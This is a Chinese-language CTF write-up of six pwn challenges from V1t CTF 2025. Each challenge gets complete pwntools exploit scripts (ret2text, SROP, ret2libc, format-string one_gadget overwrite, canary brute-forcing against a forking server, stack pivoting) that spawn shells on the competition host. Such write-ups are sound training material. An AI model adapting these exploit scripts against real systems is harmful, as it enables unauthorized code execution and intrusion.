0x00 前言
n1 n1 打不过,被叫来打这个很多misc题的V1t CTF 2025了,挺简单的,又水一篇
主要是最近操作系统课在讲这个fork,遇到了类似的题,稍微记录一下。
0x01 题解
Waddler
ret2text
from pwn import * from ctypes import *
context(arch='amd64', log_level = 'debug',os = 'linux') file='./chall' elf=ELF(file) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
choice = 0x001 if choice: port= 30210 target = 'chall.v1t.site' p = remote(target,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear')
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,gdbscript=cmd) commend = ''' b main ''' debug(commend)
payload = b'a'*0x48 + p64(0x00000000040128C) sla('coming!',payload)
itr()
|
WakeCall
srop
from pwn import * from ctypes import *
context(arch='amd64', log_level = 'debug',os = 'linux') file='./pwn' elf=ELF(file) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
choice = 0x001 if choice: port= 30211 target = 'chall.v1t.site' p = remote(target,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear')
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,gdbscript=cmd)
commend = ''' b main ''' debug(commend)
rax = 0x0000000004011EF syscall = 0x0000000004011F1 lea = 0x000000000401212
sigframe=SigreturnFrame() sigframe.rax = 0x3b sigframe.rdi = elf.bss() + 0x200 sigframe.rsi = 0 sigframe.rdx = 0 sigframe.r10 = 0 sigframe.rsp = elf.bss()+0x38 sigframe.rbp = elf.bss()+0x88 sigframe.rip = syscall
payload = b'a'*0x80 + flat(elf.bss() + 0x200 + 0x80,lea) sa('the pond.',payload)
pause() payload = b'/bin/sh\x00' + b'a'*0x78 + flat(elf.bss() + 0x200 + 0x80, rax,0xf, syscall ,sigframe) s(payload)
itr()
|
Feather Father
i386的ret2libc
from pwn import * from ctypes import *
context(arch='i386', log_level = 'debug',os = 'linux') file='./chall' elf=ELF(file)
libc = ELF('./libc.so.6')
choice = 0x001 if choice: port= 30212 target = 'chall.v1t.site' p = remote(target,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear')
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,gdbscript=cmd)
commend = ''' b main ''' debug(commend)
push_15e = 0x8049214 leave_ret = 0x8049230 pop_ebx = 0x0804901e
payload = b'a' * 0x134 + p32(elf.bss() + 0x800 + 0x134) + p32(elf.plt.puts) + p32(push_15e) + p32(elf.got.puts) sa('here!',payload)
puts_addr = uu32(ru(b'\xf7')[-4:]) libc_base = puts_addr - libc.sym['puts']
leak('libc_base') system,binsh = get_sb()
payload = b'a'*0x134 + flat(elf.bss()+0x800+0x134,system,push_15e,binsh) pause() s(payload)
itr()
|
Faulty Announcer
栈上的格式化字符串,改返回地址以及rbp - 0x78以满足one gadget条件,因为输入长度还挺长,也是没什么限制。
from pwn import * from ctypes import *
context(arch='amd64', log_level = 'debug',os = 'linux') file='./chall' elf=ELF(file)
libc = ELF('./libc.so.6')
choice = 0x001 if choice: port= 30213 target = 'chall.v1t.site' p = remote(target,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear')
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,gdbscript=cmd)
def malloc(size,content): pass
def edit(index,content): pass
def free(index): pass
def show(index): pass commend = ''' b *0x0000000004012BF ''' debug(commend)
payload = b'a'*4 sla('your name?',payload)
sla('do you want','%23$p%13$p')
ru('0x') libc_base = int(r(12),16) - 0x234af0 leak('libc_base') one = [0x583ec,0x583f3,0xef4ce,0xef52b]
ru('0x') stack_addr = int(r(12),16) ret_addr = stack_addr + 0x40 leak('ret_addr')
target = ret_addr + 0x20
one3 = libc_os(one[3]) leak('one3') payload = fmtstr_payload(8,{target:elf.bss()+0x800,ret_addr:libc_os(one[3])},write_size = 'short') sla('PEAK LOUD!',payload)
itr()
|
EchoNet
比较有意思的一题,程序逻辑大致如下
无限循环利用fork创建子进程,waitpid(pid, &stat_loc, 0); 能让父进程捕获到崩溃的子进程,然后被唤醒,继续循环到fork。也就说在vuln()里面这怎搞这父进程都不会崩溃。程序是开了canary的,canary不正确的话会有一段 stack smashing 回显,利用这个来爆破,最后ret2libc就行。不过canary的位置怪怪的,还是要多动调
from pwn import * from ctypes import *
context(arch='i386', log_level = 'debug',os = 'linux') file='./chall' elf=ELF(file)
libc = ELF('./libc.so.6')
choice = 0x001 if choice: port= 30130 target = 'chall.v1t.site' p = remote(target,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear')
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,gdbscript=cmd) commend = ''' b *0x0804929B '''
known_canary = b"" padding = b'a'* 0x48
for j in range(4): for i in range(256): if(i != 10): payload = padding + known_canary + bytes([i]) sla('your secret: ', payload) output = ru('Enter') print(output) if b"stack smashing" in output: continue elif b"flickers" in output: known_canary += bytes([i]) break else: continue
debug(commend) print(f"Canary: {known_canary}")
fork = 0x8049319 payload = b'a'*0x48 + known_canary + b'a'*0xc + flat(elf.plt.puts,fork,elf.got.puts) sla('your secret: ', payload) ru('The ember flickers.\n') puts_addr = uu32(r(4)) libc_base = puts_addr - libc.sym['puts'] leak('libc_base')
system,binsh = get_sb() payload = b'a'*0x48 + known_canary + b'a'*0xc + flat(system,fork,binsh) sla('your secret: ', payload)
itr()
|
Leave It
简单栈迁移,填充可能怪怪的,当时动调调出来是在那个位置,前面的就没管了。第一段是正常两次leave ret的,第二次好像就劫持了fgets的返回地址,没用到两次leave ret
from pwn import * from ctypes import *
context(arch='amd64', log_level = 'debug',os = 'linux') file='./chall' elf=ELF(file)
libc = ELF('./libc.so.6')
choice = 0x001 if choice: port= 30150 target = 'chall.v1t.site' p = remote(target,port) else: p = process(file)
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x clear = lambda : os.system('clear')
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''): if choice==1: return gdb.attach(p,gdbscript=cmd)
commend = ''' b ''' ru('This may help: ') stack_addr = int(r(14),16) leak('stack_addr')
debug() rdi = 0x0000000000401214 mov_rdx =0x000000000401240 leave_ret = 0x000000000401259 rbp = 0x000000000040119d
payload = flat(rdi,elf.got.puts,elf.plt.puts,rbp,stack_addr + 0x60,mov_rdx) payload = payload.ljust(0x60) payload += p64(stack_addr -8) + p64(leave_ret) sl(payload)
rl() libc_base = uu64(rl()[:-1].ljust(8,b'\x00')) - libc.sym['puts'] leak('libc_base')
pause()
system,binsh = get_sb() ret = 0x000000000040125A payload = flat(rdi,binsh,system,mov_rdx,0,ret,rdi,binsh,system,mov_rdx) payload = payload.ljust(0x60) payload += p64(stack_addr -8) + p64(leave_ret) sl(payload)
itr()
|